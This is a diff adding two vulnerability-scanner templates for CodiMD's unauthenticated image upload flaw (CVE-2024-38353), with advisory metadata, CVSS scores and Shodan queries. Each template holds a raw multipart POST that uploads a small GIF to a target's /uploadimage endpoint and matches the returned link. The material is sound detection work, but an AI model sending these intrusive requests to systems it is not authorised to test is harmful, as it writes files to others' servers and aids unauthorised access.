diff --git a/http/cves/2024/CVE-2024-38353.yaml b/http/cves/2024/CVE-2024-38353.yaml
new file mode 100644
index 00000000000..48f825b9b1e
--- /dev/null
+++ b/http/cves/2024/CVE-2024-38353.yaml
@@ -0,0 +1,63 @@
+id: CVE-2024-38353
+
+info:
+  name: CodiMD <2.5.4 - Insecure Filename Randomization
+  author: denandz,PulseSecurity.co.nz
+  severity: medium
+  description: |
+    CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data. Due to the insecure random filename generation in the underlying Formidable library, an attacker can determine the filenames for previously uploaded images and the likelihood of this issue being exploited is increased.
+  impact: |
+    An attacker can gain unauthorised access to images uploaded to CodiMD.
+  remediation: |
+    Update CodiMD to version 2.5.4 or later
+  reference:
+    - https://github.com/hackmdio/codimd/security/advisories/GHSA-2764-jppc-p2hm
+    - https://pulsesecurity.co.nz/advisories/codimd-missing-image-access-controls
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-38353
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cve-id: CVE-2024-38353
+    cwe-id: CWE-338
+    epss-score: 0.00043
+    epss-percentile: 0.10941
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: html:"CodiMD"
+  tags: cve,cve2024,file-upload,intrusive,codimd
+
+variables:
+  filename: "{{to_lower(rand_text_alpha(5))}}"
+
+http:
+  - raw:
+      - |
+        POST /uploadimage HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161
+
+        -----------------------------92633278134516118923780781161
+        Content-Disposition: form-data; name="image"; filename="{{filename}}.gif"
+        Content-Type: image/gif
+
+        {{base64_decode("R0lGODlhAQABAIABAP///wAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==")}}
+        -----------------------------92633278134516118923780781161--
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - '"link":"/uploads/[a-z0-9]{25,25}.gif"'
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        part: body
+        group: 1
+        regex:
+          - '"link":"(/uploads/[a-z0-9]{25,25}.gif)"'
diff --git a/http/vulnerabilities/codimd-file-upload.yaml b/http/vulnerabilities/codimd-file-upload.yaml
new file mode 100644
index 00000000000..4d9433a79f2
--- /dev/null
+++ b/http/vulnerabilities/codimd-file-upload.yaml
@@ -0,0 +1,48 @@
+id: codimd-unauth-file-upload
+
+info:
+  name: CodiMD - File Upload
+  author: denandz,PulseSecurity.co.nz
+  severity: medium
+  description: |
+    CodiMD does not require valid authentication to access uploaded images or to upload new image data. An attacker who can determine an uploaded image's URL can gain unauthorised access to uploaded image data, or can create a denial of service condition by exhausting all available disk space.
+  reference:
+    - https://github.com/hackmdio/codimd/security/advisories/GHSA-2764-jppc-p2hm
+    - https://pulsesecurity.co.nz/advisories/codimd-missing-image-access-controls
+  metadata:
+    max-request: 1
+    verified: true
+    shodan-query: html:"CodiMD"
+  tags: file-upload,intrusive,codimd
+
+http:
+  - raw:
+      - |
+        POST /uploadimage HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161
+
+        -----------------------------92633278134516118923780781161
+        Content-Disposition: form-data; name="image"; filename="{{randstr}}.gif"
+        Content-Type: image/gif
+
+        {{base64_decode("R0lGODlhAQABAIABAP///wAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==")}}
+        -----------------------------92633278134516118923780781161--
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - '"link":".*?.gif"'
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        part: body
+        group: 1
+        regex:
+          - '"link":"(.*)"'